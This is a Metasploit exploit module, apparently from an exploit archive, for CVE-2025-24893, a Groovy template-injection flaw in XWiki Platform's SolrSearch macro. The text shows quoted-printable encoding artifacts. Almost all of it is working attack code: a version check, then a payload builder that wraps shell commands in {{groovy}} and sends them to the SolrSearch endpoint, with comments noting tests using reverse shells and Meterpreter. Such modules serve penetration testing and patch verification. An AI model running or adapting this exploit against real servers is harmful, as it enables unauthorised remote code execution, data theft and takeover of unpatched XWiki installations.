## # Exploit Title: XWiki Platform 15.10.10 - Metasploit Module for Remote Code Execution (RCE) # Date: 09/01/2025 # Exploit Author: Maksim Rogov # Vendor Homepage: https://www.xwiki.org/ # Software Link: https://www.xwiki.org/xwiki/bin/view/Download/ # Version: (5.3‑milestone‑2 ≤ v < 15.10.11) ∨ (16.0.0‑rc‑1 ≤ v < 16.4.1) # Tested on: Ubuntu 18.0.4 | Windows 10 # CVE : CVE-2025-24893 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank =3D ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info =3D {}) super( update_info( info, 'Name' =3D> 'Remote Code Execution Vulnerability in XWiki Platform = (CVE-2025-24893)', 'Description' =3D> %q{ This module exploits a template injection vulnerability in the th= e XWiki Platform. XWiki includes a macro called SolrSearch (defined in Main.SolrSea= rchMacros) that enables full-text search through the embedded Solr engine. The vulnerability stems from the way this macro evaluates search = parameters in Groovy, failing to sanitize or restrict malicious input. This vulnerability affects XWiki Platform versions >=3D 5.3-miles= tone-2 and < 15.10.11, and versions >=3D 16.0.0-rc-1 and < 16.4.1. Successful exploitation may result in the remote code execution u= nder the privileges of the web server, potentially exposing sensitive data or disrupt= ing survey operations. An attacker can execute arbitrary system commands in the context = of the user running the web server. }, 'License' =3D> MSF_LICENSE, 'Author' =3D> [ 'Maksim Rogov', # Metasploit Module 'John Kwak' # Vulnerability Discovery ], 'References' =3D> [ ['CVE', '2025-24893'], ['URL', 'https://github.com/xwiki/xwiki-platform/security/advisor= ies/GHSA-rr6p-3pfg-562j'] ], 'Platform' =3D> ['unix', 'linux', 'win'], 'Arch' =3D> [ARCH_CMD], 'Targets' =3D> [ [ 'Unix Command', { 'Platform' =3D> ['unix', 'linux'], 'Arch' =3D> ARCH_CMD, 'Type' =3D> :unix_cmd, 'DefaultOptions' =3D> { # On Debian 9 curl is not installed by default 'FETCH_COMMAND' =3D> 'WGET' } # Tested with cmd/unix/reverse_bash # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command', { 'Platform' =3D> ['win'], 'Arch' =3D> ARCH_CMD, 'Type' =3D> :win_cmd # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], ], 'Payload' =3D> { 'BadChars' =3D> '\\' }, 'DefaultTarget' =3D> 0, 'DisclosureDate' =3D> '2025-02-20', 'Notes' =3D> { 'Stability' =3D> [CRASH_SAFE], 'SideEffects' =3D> [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' =3D> [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to XWiki', '/']), ] ) end def check print_status('Extracting version...') res =3D send_request_cgi( 'uri' =3D> normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'), 'method' =3D> 'GET' ) return CheckCode::Unknown('No response from target') unless res&.code = =3D=3D 200 version_div =3D res.get_html_document.at('div[id=3D"xwikiplatformversio= n"]') return CheckCode::Safe('Possibly not XWiki or incorrect path (version t= ag not found)') unless version_div version_match =3D version_div.text.match(/XWiki.*?(\d+\.\d+\.\d+)/) unless version_match print_error("#{peer} - Unable to extract version number") return CheckCode::Detected('XWiki detected, but version number missin= g or unrecognized') end version =3D Rex::Version.new(Regexp.last_match(1).to_s) print_status("Extracted version: #{version}") if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.= 10')) || version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.= 0')) return CheckCode::Appears("Detected version #{version}, which is vuln= erable") end return CheckCode::Safe("Version #{version} appears safe") end def build_cmd print_status('Building command for target...') if target['Type'] =3D=3D :unix_cmd cmd_array =3D "'sh', '-c', '#{payload.encoded}'" else cmd_array =3D "'cmd.exe', '/b', '/q', '/c', '#{payload.encoded}'" end print_good('Command successfully built for target') return "{{async async=3Dfalse}}{{groovy}}[#{cmd_array}].execute().text{= {/groovy}}{{/async}}" end def send_payload(cmd) print_status('Uploading payload...') vars_get =3D { 'media' =3D> 'rss', 'text' =3D> cmd } send_request_cgi({ 'uri' =3D> normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSe= arch'), 'method' =3D> 'GET', 'vars_get' =3D> vars_get }) end def exploit cmd =3D build_cmd send_payload(cmd) end end